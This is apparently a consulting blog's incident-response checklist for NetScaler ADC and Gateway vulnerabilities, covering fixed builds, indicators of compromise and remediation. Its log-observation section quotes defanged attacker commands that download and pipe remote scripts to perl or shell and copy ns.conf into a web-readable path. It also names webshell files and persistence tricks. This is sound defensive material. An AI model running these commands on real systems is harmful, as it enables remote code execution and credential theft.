Deyda Consulting Blog

Critical vulnerabilities in NetScaler ADC and NetScaler Gateway require a structured response: assess exposure, select an applicable fixed build, update the appliance, and then investigate whether there are signs of earlier exploitation.

This checklist brings together vendor information and additional publicly reported investigation guidance. The current Citrix Security Bulletin CTX697096, the relevant firmware variant, and the actual configuration of your appliance remain authoritative.

Current vulnerabilities and fixed builds

Citrix published Security Bulletin CTX697096 covering eight vulnerabilities in NetScaler ADC and NetScaler Gateway: CVE-2026-88771 through CVE-2026-88778. Citrix confirms that CVE-2026-88771 and CVE-2026-88772 have been exploited on systems that had not been fixed.

CVE	Summary	Citrix precondition
CVE-2026-88771	Unauthenticated remote code execution (RCE)	All deployments; no additional feature required
CVE-2026-88772	Memory overflow that may lead to RCE or denial of service (DoS)	DTLS enabled; enabled by default on VPN virtual servers unless explicitly disabled
CVE-2026-88773	HTTP request smuggling	HTTP configuration enabled
CVE-2026-88774	Policy bypass involving HTTP URL-based expressions	At least one applicable policy expression configured
CVE-2026-88775	Memory overflow that may cause unexpected behavior or DoS	Gateway or AAA virtual server
CVE-2026-88776	Memory overflow that may cause unexpected behavior or DoS	Oracle load-balancing virtual server
CVE-2026-88777	Memory overflow that may cause unexpected behavior or DoS	LB/CS or CGNAT-LSN/NAT64 with a non-HTTP Layer 7 feature
CVE-2026-88778	TCP Initial Sequence Number (ISN) prediction	TCP configuration; Citrix additionally requires Enhanced ISN Generation to be enabled

Fixed minimum builds

According to CTX697096, the following minimum builds address the vulnerabilities:

• NetScaler 14.1: 14.1-73.37 or later
• NetScaler 13.1: 13.1-64.23 or later
• NetScaler 14.1 FIPS: 14.1-73.37 FIPS or later
• NetScaler 13.1 FIPS/NDcPP: 13.1-37.279 or later

Always compare the appliance build and edition with the current bulletin. Configuration preconditions help assess potential exposure before the update. A matching virtual server on a fixed build does not automatically mean the appliance remains vulnerable. Patching, however, does not erase evidence of earlier exposure or prove that no exploitation occurred before the update.

CVE-2026-88771: the attack chain described by CERT-EU

On 28 September 2026, CERT-EU published a technical description of the exploitation of CVE-2026-88771. The report links two traces that should be investigated together:

1. HTTP requests with Base64-encoded commands in the User-Agent. In the observed requests, the marker INDEX: preceded the encoded content. After decoding, the commands were intended, among other things, to modify the web server configuration and place a webshell.
2. Crafted authentication or system log entries. These entries contained text such as pitboss … PPE missed too many heartbeats or a related NSPPE message, followed by shell metacharacters or command fragments.

CERT-EU and Unit 42 describe a NetScaler helper script (ns_monuploadd_err.pl, also referred to as ns_monupload_err) that selects matching log messages. The last matching log entry may be the one processed. This helps explain why attackers generated repeated authentication requests: they wanted their crafted entry to be the last matching result when the routine ran.

This goes beyond searching for the word b64decode. The Base64 content may be in an HTTP User-Agent while the trigger appears in an authentication or system log. Correlate the entries by time and with any possible resulting artifacts.

Deyda NetScaler IOC Check searches available HTTP logs for INDEX: payloads and system/authentication logs for both publicly described triggers: PPE missed too many heartbeats and PPE unexpectedly died, when followed by shell syntax. Unit 42 confirms the second form as part of an observed attack chain. The search only recognizes documented text patterns; it cannot cover every variation or determine whether the helper routine actually processed the log entry.

CVE-2026-88772: DTLS exploitation and post-exploitation

A separate report from Google Threat Intelligence Group and Mandiant describes active exploitation of CVE-2026-88772 through DTLS, as well as tools used after access was gained. This path is distinct from the CVE-2026-88771 log-injection chain described by CERT-EU.

Potential indicators include a DTLSv1.0 handshake error containing Handshake failure-Internal Error, in combination with NSPPE crashes or messages such as orphan rings or NOT restarting NSPPE. A single handshake error or crash is not proof of exploitation. Correlating events by time on the same appliance is a stronger investigative approach.

For persistence, Mandiant describes PHP webshells with .deb or .sig extensions that are executed through modified httpd.conf handlers. One observed alias technique routed requests for /vpn/media/*.ico to .sig files in VPN script directories. WHIPSHOT and SLAPSHOT are also described: WHIPSHOT uses HTTP headers such as HTTP_X_UX as a transport, while SLAPSHOT is a Python tunneller that can forward connections into internal networks. Possible local artifacts include /tmp/.uxdport and /tmp/.uxdlock.

Unit 42 adds specific downloads of .deb files from the VPN client directory, including nsgclient18.deb, nsgser18.deb, nsgsupport.deb, nsgpackage64.deb, nsgbuild.deb, and the analyzed file nsg64.deb. This directory is normally used to provide Citrix client packages, so filenames and location alone are not enough to assess a finding. Unit 42 published SHA-256 ae22ef2517b5c0fb47f78745b9cb5260acee0e751b89bcd354640ff8bc8d29ec for the analyzed nsg64.deb. The report also lists 1bd314b661396c7086f6367fbbb48025e03ca2de69c073d53a8b0a38aa5fbb7d for the Base64 payload and 79c65fa04541032e251fa4796b97800374b63c7982593dd1a2e0db605d429186 for the decoded shell script. These hashes identify the published samples; variants may have different hashes. Treat them as focused search indicators. .deb or .sig files and HTTP 404 responses are not automatically malicious. Compare handlers, alias targets, file contents, origin, and timestamps with a trusted baseline for the same firmware variant. For HTTP logs, also review error logs and unusually large responses or long processing times associated with apparent 404 responses.

Recent log observations and download targets

Log excerpts reviewed on 29 September from multiple NetScaler appliances showed repeated attempts over several hours that were consistent with the described attack chain. These included authentication log entries containing shell metacharacters and command sequences.

The logged payloads included the following defanged download targets:

• curl hxxp://31[.]56[.]197[.]72/kk
• wget or curl to hxxp://31[.]56[.]197[.]72/lula, sometimes over port 9090
• curl hxxp://64[.]94[.]85[.]67:443/update_c08937.pl | perl

Other log entries contained commands intended to write id output to /netscaler/ns_gui/admin_ui/e.txt or write /flash/nsconfig/ns.conf to /var/netscaler/logon/insight-new.js.

Unit 42 dates initial fingerprinting requests to 21 August, package downloads in the DTLS context to 4–24 September, and an observed CVE-2026-88771 chain to 21 September. After disclosure on 27 September, Unit 42 also recorded widespread scanning and testing. Palo Alto Networks reported 50,277 potentially vulnerable exposed instances in its Cortex Xpanse telemetry as of 27 September. This is a time-specific measurement from that provider, not a global count or a finding about the appliances discussed here. These examples are payloads recorded in logs. They do not prove that curl or wget succeeded, that files were downloaded, or that a command actually ran. Hostnames, internal source addresses, and customer-specific details are intentionally omitted. External targets are defanged to avoid active links.

SAML sign-in attacks: nsaaad crashes on patched builds

On 2 October, we observed repeated crashes of the authentication daemon nsaaad, followed by automatic reboots, on several NetScalers that had already been updated. In the incidents examined, repeated process exits with status 0x8a were followed by Pitboss reaching its restart limit, declaring a system failure, and eventually rebooting the appliance. Reboot events on two appliances occurred approximately 30 seconds apart.

On one appliance, authentication logs immediately before the investigated crash sequences contained crafted usernames with download-and-execute commands. These commands attempted to download a payload from 213[.]209[.]159[.]55, save it as /v, and run it. The download targets used plain HTTP over TCP port 443 and paths under /t/. Additional reported download targets include pyrlnk[.]cc and its subdomains; this supplementary report must be assessed separately from our own log findings.

These findings demonstrate attack attempts and correlated crashes. They do not prove successful command execution, a particular new CVE, or a firmware regression. A patched build must therefore neither be presumed compromised nor be considered protected against these outages solely because of its patch level. The payload address in a logged command is initially a download destination; it does not identify the source of the incoming attack request.

Citrix Support has supplied a responder policy for SAML SP deployments. Its binding to all relevant front-end virtual servers at the AAA_REQUEST bind point is essential. Section 8.1 covers implementation and the subsequent sign-in test. Rolling back to a vulnerable firmware build is not an appropriate mitigation.

Prepare the update

Review the current Security Bulletin and select a supported target build for the appliance edition and role. Document the firmware build, HA status, enabled features, and the period during which the system was reachable. Back up the configuration and relevant system data, and prepare a rollback plan. Apply any published workarounds until the update can be installed, and record the changes.

Update the firmware

Update all affected NetScaler systems to a firmware build released by Citrix that addresses the relevant vulnerabilities. For HA pairs, perform the update in a controlled manner while taking synchronization, failover, and the availability of published services into account. Migrate unsupported releases to a supported release branch.

A firmware update does not prove that the system was untouched before the update. For critical or actively exploited vulnerabilities, a security assessment after patching should therefore be part of the process.

Report status indicators:

• [OK]: No matching indicator was found in the source and scope that were checked. This does not prove that the appliance is clean.
• [ACTION]: A potentially relevant finding requires investigation; it is not automatically proof of compromise.
• [CHECK]: Manual validation is required or the check could not cover its intended scope.

In an interactive terminal, the status labels are colour-coded. The saved report remains plain text.

Run the script on the appliance

Copy the script to the NetScaler, for example to /var/tmp, then switch to the BSD shell and run it:

On the appliance, the script attempts to detect the firmware build from the header of /nsconfig/ns.conf and then from nsconmsg. It reads Enhanced ISN Generation from /nsconfig/ns.conf. If the directive is absent, the script treats the setting as DISABLED, which is the Citrix default. It prompts for a value only when it cannot determine the required information.

If a prompt appears, use the NetScaler CLI to retrieve the requested value:

The complete output of the Enhanced ISN command, or just ENABLED or DISABLED, can be entered.

Optionally pass the values at startup

You can explicitly supply the firmware version and Enhanced ISN state as arguments. Explicit values take precedence over automatic detection:

Replace the example values with those for your appliance. The script checks the saved /nsconfig/ns.conf; it does not verify that the saved configuration matches the current running configuration. Compare relevant findings with the live CLI configuration.

Scope limitation: Version 9.9 does not run Citrix File Integrity Monitoring; run that separately according to the vendor’s guidance. A clean result does not rule out earlier compromise, especially if logs have rotated or the appliance was patched after a period of exposure.

Assess the CVE and Prepare the Update

When assessing a NetScaler appliance, do not look exclusively at the currently installed firmware version. You also need to determine whether the appliance was publicly accessible during a vulnerable period and whether the configuration prerequisites for the respective vulnerability were present.

CVE-2026-19490 currently requires particular attention. This critical authentication bypass vulnerability (CVSS 9.3) affects, depending on the installed build, NetScaler systems configured with Gateway or AAA virtual servers and, in some cases, additionally requires a configured SAML Action. Exploitation attempts in the wild have since been reported, and a public Proof of Concept is available.

Affected systems must be updated to at least 14.1-73.32, 13.1-63.21, 14.1-FIPS 73.32, or 13.1-FIPS/NDcPP 37.277, respectively. Citrix does not provide a workaround.

In addition to the firmware version, check the relevant prerequisites in ns.conf:

For publicly accessible Gateway or AAA virtual servers in particular, evaluate the firmware version, relevant configuration, and the period of public exposure together. A system that is patched today may already have been attacked during an earlier vulnerable period.

A current patch status tells you neither whether the system was previously exposed nor whether it may already have been compromised.

For CVE-2026-8452, additionally document whether and during which period the appliance was publicly accessible as a Gateway or AAA virtual server. Record the build that was installed at the time as well as the exact upgrade time. According to Citrix, affected versions include NetScaler ADC and NetScaler Gateway builds prior to 14.1-72.61 and 13.1-63.18.

There is an additional consideration for CVE-2026-13474: checking the firmware version alone is not sufficient. Citrix states that the HTTP/2 configuration must also be taken into account. If an HTTP Strict Profile is not used, http2SmallWndTimeout may still be set to 0. In this case, installing the firmware update alone does not fully address the vulnerability.

Therefore, also check which HTTP profiles are in use and which value is configured for http2SmallWndTimeout. The default value for an HTTP Strict Profile is 30.

This is particularly important for automated security checks: a fixed firmware version must not automatically result in a successful security assessment for CVE-2026-13474 without also evaluating the relevant configuration.

Before updating:

• Review the current security bulletin and identify the affected product versions.
• Document the current build, HA status, existing partitions, and enabled features.
• Verify the supported target version, known issues, and the required upgrade path.
• Back up the configuration and relevant system files and prepare a reliable rollback plan.
• Apply any workarounds published by Citrix until the update can be installed, and document all changes made.

Update the Firmware

Update all affected NetScaler systems to a firmware build released by Citrix that addresses the relevant vulnerabilities. For HA pairs, perform the update in a controlled manner while taking synchronization, failover, and the availability of published services into account. Outdated or unsupported versions should be migrated to a supported release branch.

Installing a firmware update alone does not prove that the system was unaffected before the update. For critical vulnerabilities, a subsequent security assessment should therefore be part of the process.

Assess the Systems for Compromise

Even systems that have already been updated should undergo a thorough security assessment. Particularly with critical or actively exploited vulnerabilities, the currently installed firmware version alone cannot determine whether an appliance was attacked or compromised before it was patched.

The following checks are based on vendor information, published security research, community findings, and my own experience from NetScaler environments I have investigated.

If there is a concrete suspicion of compromise, preserve evidence before rebooting, updating, or cleaning up the system. At a minimum, preserve a VPX snapshot or suitable forensic image, system time, time zone and NTP configuration, a Technical Support Bundle, and local and centralized logs. Depending on the incident, preserving existing NSPPE core dumps may also be useful. Citrix describes the general procedure in CTX694799.

A single match is not automatically proof of a successful attack. Conversely, an apparently clean result does not rule out compromise because logs rotate and attackers may modify or remove traces. Always evaluate suspicious findings within the temporal and technical context of the relevant security bulletin.

Determine the Time of the Last Firmware Update

Modified timestamps can provide an initial indication of manipulation. However, they must always be evaluated together with files, logs, processes, core dumps, and network activity.

As a temporal reference point, first determine when the last NetScaler firmware update was installed. The installation directories under /var/nsinstall/ provide a useful starting point.

Perform the following checks through an administrative SSH/CLI session on the NetScaler. Log on with an administrative account and switch to the BSD shell where required for the respective command.

In this example, the most recently installed NetScaler update package was extracted on July 19, 2023. This date serves as the temporal reference point for the following checks. For time-based searches, use the following day as the start date in YYYYMMDD format — in this example, 20230720.

Reboots and Cold Starts

Also review the reboot and shutdown history for unexpected reboots or cold starts. A suspicious reboot is not, by itself, proof of exploitation. Record its timestamp and correlate it with HTTP access logs, system messages, core dumps, and other available events. Missing reboot-history entries do not reliably prove that no reboot occurred; logs may be incomplete or rotated.

Modified Files

Next, check whether files in security-relevant directories have been created or modified since the last firmware update. A match does not by itself prove a compromise, but it can be a relevant investigation lead.

Take intentional modifications into account, such as customized logon pages or themes, and compare their legitimate modification dates with the timestamps you find.

A webshell observed in attacks was stored as a.php in /var/netscaler/logon/. An unknown file with this name should be treated as a critical investigation finding. However, also evaluate its content, owner, permissions, timestamps, and associated logs, as the filename alone does not prove compromise.

Be aware that timestamps of files under /netscaler/ns_gui/ can change not only during firmware updates but also during reboots. A newer timestamp in this directory is therefore not automatically suspicious.

Alternatively, you can perform the check using the following Python command:

If no unexpected modifications are found, this reduces the level of suspicion for this particular area of the investigation. However, it does not rule out a compromise.

New Files and Webshells

Additionally, check for unknown PHP, Perl, Python, JavaScript, or ELF files in /var/vpn/, /var/netscaler/logon/, /var/python/, /netscaler/ns_gui/, /tmp/, and /var/tmp/.

Inspect typical web and portal directories for unknown files as well. Newly created files may indicate a deployed webshell or other manipulation, but their presence alone is not proof of compromise.

When investigating CVE-2026-8452, pay particular attention to unknown PHP files in /var/vpn/theme/, /var/vpn/, and /netscaler/ns_gui/.

Webshells with filenames such as x.php and z.php have been observed during attacks. However, these specific filenames do not replace a comprehensive search for other newly created or modified files.

Also check LogonPoint/custom for unknown files with the .dot extension. On the appliance, the path may be /var/netscaler/logon/LogonPoint/custom. For each finding, review its contents, timestamp, owner, and permissions, and compare it with planned changes. Preserve and investigate unknown .dot files; the file extension alone does not confirm compromise.

HTTP Error Logs

Exploitation attempts or successful exploitation may leave traces in the HTTP error logs. Pay particular attention to unexpected requests for unknown resources, unusual POST requests, User-Agents that are atypical for the relevant period, and crashes or core dumps close to the suspected time of attack.

The following commands can additionally be used to search for references to shell, PHP, or Perl files:

In the example, the search for .sh returns a match. Open the relevant log entry, for example with vi, to inspect the full context.

The match shown in the screenshot was created by me for testing purposes and does not represent an actual attack.

For CVE-2026-8452, include suspicious requests involving SAML, VPN, theme, and PHP resources. Correlate the timestamps of suspicious HTTP requests with newly created files, process crashes, and the time of the firmware upgrade.

Search available HTTP access and error logs for the string b64decode. Review each match in its full context and correlate its timestamp with suspicious HTTP requests, reboots, or cold starts. A match is an investigation lead, not proof of successful exploitation. No match does not rule out compromise.

Shell and Bash Logs

Successful exploitation may also leave suspicious commands or other traces in shell and Bash logs.

The entries visible in the screenshot originate exclusively from my own tests and do not represent an attack.

Also search for executed discovery commands such as id or echo, as well as download, file manipulation, and shell commands. Such commands have been observed in publicly documented exploitation attempts against CVE-2026-8452.

Additional Log Files

Pay attention to gaps in logging, unusually early log rotations, and timestamps that do not match the system time, time zone, NTP configuration, or the overall event timeline.

The following search can be used to inspect log files for selected suspicious commands and artifacts:

Integrity of httpd.conf and /bin/sh

Check the httpd.conf file used by the relevant build, for example /etc/httpd.conf, for unexpected changes. File timestamps alone are insufficient: compare the file contents and metadata with a trusted baseline for the same NetScaler version and account for documented administrative changes.

Also check the owner and permissions of /bin/sh. Compare them with a known-good appliance running the same build. An unexpected difference requires investigation; expected values may vary by version.

Modified Files with the SUID Bit Set

Copied shells, newly created SUID files, and unusual ownership or permissions are particularly critical. Always compare such findings against the known-good state of the appliance.

For CVE-2026-8452, pay particular attention to /bin/sh, copied shells, or other unusual files unexpectedly carrying the SUID bit. Such a finding is highly critical and requires forensic analysis.

Processes Running as nobody

Unusual processes running in the context of the nobody user have also been observed during attacks. Because legitimate NetScaler components may use this account as well, a process running as nobody is not automatically suspicious. Compare unknown processes against the expected state of your appliance.

The following screenshot shows a compromised server for comparison. The first line shows the malicious process identified during the investigation.

Check the Cron Configuration for New Entries

In addition to the crontabs, inspect /flash/nsconfig/rc.netscaler and /etc/monitrc. Commands that recreate webshells after a reboot, set the SUID bit, or hide or terminate monitored processes should be considered suspicious.

Use the following command to review the current crontab. Compare the entries against the known-good state and the features enabled on the appliance.

Also check whether a crontab exists for the nobody user and whether its entries are plausible for your configuration:

Based on community feedback and comparisons across different environments, the following entries, among others, may be legitimate. Whether they are expected on your appliance depends on the features actually in use:

• /netscaler/adss-licexp.sh –> For trial licenses
• 0/5 * * * * root /netscaler/iprep –> When IP Reputation is in use
• */5 * * * * root /var/python/bin/python /netscaler/aslearn_health_monitor.py –> When app firewall is used
• */5 * * * * root /bin/pgrep -f /netscaler/appfw_dynamic_profiles/appfw_dynamic_profiles.py; [ $? != 0 ] && /var/python/bin/python /netscaler/appfw_dynamic_profiles/appfw_dynamic_profiles.py –> When app firewall is used

NetScaler HA Systems

Unexplained HA synchronization errors and stopped or modified monitoring and synchronization processes may also indicate manipulation.

During documented attacks, the nsfsyncd process responsible for HA file synchronization has, among other things, been manipulated or terminated. Therefore, verify that the process is running as expected on your HA nodes.

On a standalone appliance, nsfsyncd is not necessarily expected. The screenshot shows the expected state of a functioning HA system.

Always investigate both nodes of an HA pair independently. A clean finding on one node does not rule out compromise of its peer.

Gateway and VPN Access Logs

Additionally, inspect Gateway and AAA sessions for changes in source IP addresses, countries, or User-Agents within the same session, as well as sessions that continue to be used despite password changes or MFA-related remediation measures.

The following search can be used to identify successful web requests to potentially unknown resources for further investigation:

Additionally, search for requests using HeadlessChrome as the User-Agent:

A match is not automatically malicious and must be evaluated in the context of the respective session and environment.

NSPPE Core Dumps

Search core dumps and related artifacts for indications that ns.conf, .F1.key, .F2.key, certificates, or private keys were copied into web, theme, template, or temporary directories.

Memory errors or crashes of the NetScaler Packet Processing Engine (NSPPE) may generate core dumps. Unusual dumps created during the relevant investigation period should therefore be examined more closely. A core dump alone is not evidence of successful exploitation.

For CVE-2026-8452, investigate unusual crashes, core dumps, and restarts of the nsppe process. Correlate these events with suspicious SAML or HTTP requests and newly created files.

Perl and Python Scripts

Unknown or manipulated Perl and Python scripts can be used to execute malicious code or establish persistence.

Compare unknown processes and scripts against the documented baseline, enabled NetScaler features, and vendor documentation. Review the file path, owner, start time, command line, and file hash.

The scripts shown in the screenshot are legitimate in this Azure-hosted NetScaler environment.

If you use the StoreFront Monitor, a corresponding Perl process may also be permanently visible.

Unusual Processes and Crypto Miners

I have investigated compromised NetScaler appliances that were subsequently abused for cryptocurrency mining. However, persistently high CPU utilization can have many other causes and is not evidence of compromise on its own.

Therefore, inspect running processes and always identify which process is responsible for unusually high CPU utilization. In addition to cryptocurrency mining, compromised systems may be abused for proxying, tunneling, scanning, or other malicious activities.

In the example shown, the high utilization of the NSPPE processes is expected. The relevant findings are additional or unknown processes exhibiting unusually high or sustained resource utilization.

Review Network and Firewall Logs

Complement the local investigation of the appliance with an analysis of network and firewall logs. In particular, investigate unusual traffic originating from the NSIP, internal scanning activity, suspicious outbound connections, and deviations from the appliance’s normal communication profile.

Pay particular attention to:

• Scanning activity from the NetScaler into internal networks over HTTP, HTTPS, or SMB (80, 443, 445)
• unusually high LDAP/LDAPS, DNS, or Kerberos activity (389, 636, 53, 88, etc.)
• unexpected RDP or network logons
• unusually large outbound data transfers
• unusual DNS destinations or external connections
• suspicious Active Directory events such as 4624 and 4625

Correlate these findings with HTTP/Gateway, shell, authentication, and firewall logs as well as the suspected attack timeframe.

Remediation for Affected Systems

If compromise has been confirmed, or if it cannot be ruled out with sufficient confidence based on the available artifacts, consider the following measures depending on the findings:

• Isolate the affected NetScaler appliance from the network in a controlled manner.
• Change the passwords of all LDAP, Active Directory, service, and other network accounts used or stored on the NetScaler.
• Replace potentially compromised SSL certificates together with their associated private keys.
• Revoke compromised certificates where appropriate for the respective PKI or Certificate Authority.
• Invalidate or terminate existing sessions if session takeover cannot be ruled out.
• Investigate dependent systems and identities for potential follow-on activity.

For a VPX appliance, a snapshot from a state that can be demonstrated to predate the potential compromise period may assist with recovery. However, the age of a snapshot alone does not establish that it is trustworthy. Restoring a snapshot does not replace root-cause analysis or the rotation of potentially compromised credentials, certificates, and keys.

If a compromise has been confirmed, a controlled rebuild should, depending on the findings, be preferred over simply restoring a system whose integrity cannot be established with sufficient confidence.